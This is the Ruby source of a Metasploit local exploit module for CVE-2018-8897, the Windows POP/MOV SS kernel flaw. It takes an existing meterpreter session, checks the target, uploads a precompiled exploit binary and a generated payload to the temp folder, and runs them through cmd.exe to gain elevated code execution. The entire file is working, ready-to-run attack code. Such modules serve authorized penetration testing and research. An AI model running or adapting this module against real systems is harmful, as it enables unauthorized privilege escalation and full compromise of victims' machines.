##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability in a statement in the system programming guide
        of the Intel 64 and IA-32 architectures software developer's manual being mishandled
        in various operating system kerneles, resulting in unexpected behavior for #DB
        excpetions that are deferred by MOV SS or POP SS.

        This module will upload the pre-compiled exploit and use it to execute the final
        payload in order to gain remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nick Peterson',        # Original discovery (@nickeverdox)
          'Nemanja Mulasmajic',   # Original discovery (@0xNemi)
          'Can BAPlA1/4k <can1357>',  # PoC
          'bwatters-r7'           # msf module
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter' ],
      'Targets'        =>
        [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 08 2018',
      'References'     =>
        [
          ['CVE', '2018-8897'],
          ['EDB', '44697'],
          ['BID', '104071'],
          ['URL', 'https://github.com/can1357/CVE-2018-8897/'],
          ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
        ],
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => 'False'
        }
    ))

    register_options([
      OptString.new('EXPLOIT_NAME',
        [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
      OptString.new('PAYLOAD_NAME',
        [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
      OptString.new('PATH',
        [false, 'Path to write binaries (%TEMP% by default).', nil]),
      OptInt.new('EXECUTE_DELAY',
        [false, 'The number of seconds to delay before executing the exploit', 3])
    ])
  end

  def setup
    super
    @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
    @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
    @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
    @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
    @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
    @payload_path = "#{temp_path}\\#{payload_name}"
    @exploit_path = "#{temp_path}\\#{exploit_name}"
    @payload_exe = generate_payload_exe
  end

  def validate_active_host
    begin
      host = session.session_host
      print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      raise Msf::Exploit::Failed, 'Could not connect to session'
    end
  end

  def validate_remote_path(path)
    unless directory?(path)
      fail_with(Failure::Unreachable, "#{path} does not exist on the target")
    end
  end

  def validate_target
    if sysinfo['Architecture'] == ARCH_X86
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end
    if sysinfo['OS'] =~ /XP/
      fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
    end
  end

  def ensure_clean_destination(path)
    if file?(path)
      print_status("#{path} already exists on the target. Deleting...")
      begin
        file_rm(path)
        print_status("Deleted #{path}")
      rescue Rex::Post::Meterpreter::RequestError => e
        elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
        print_error("Unable to delete #{path}")
      end
    end
  end

  def ensure_clean_exploit_destination
    ensure_clean_destination(exploit_path)
  end

  def ensure_clean_payload_destination
    ensure_clean_destination(payload_path)
  end

  def upload_exploit
    local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe')
    upload_file(exploit_path, local_exploit_path)
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
  end

  def upload_payload
    write_file(payload_path, payload_exe)
    print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
  end

  def execute_exploit
    sleep(datastore['EXECUTE_DELAY'])
    print_status("Running exploit #{exploit_path} with payload #{payload_path}")
    output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
    vprint_status(output)
  end

  def exploit
    begin
      validate_active_host
      validate_target
      validate_remote_path(temp_path)
      ensure_clean_exploit_destination
      ensure_clean_payload_destination
      upload_exploit
      upload_payload
      execute_exploit
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      print_error(e.message)
      ensure_clean_exploit_destination
      ensure_clean_payload_destination
    end
  end

  attr_reader :exploit_name
  attr_reader :payload_name
  attr_reader :payload_exe
  attr_reader :temp_path
  attr_reader :payload_path
  attr_reader :exploit_path
end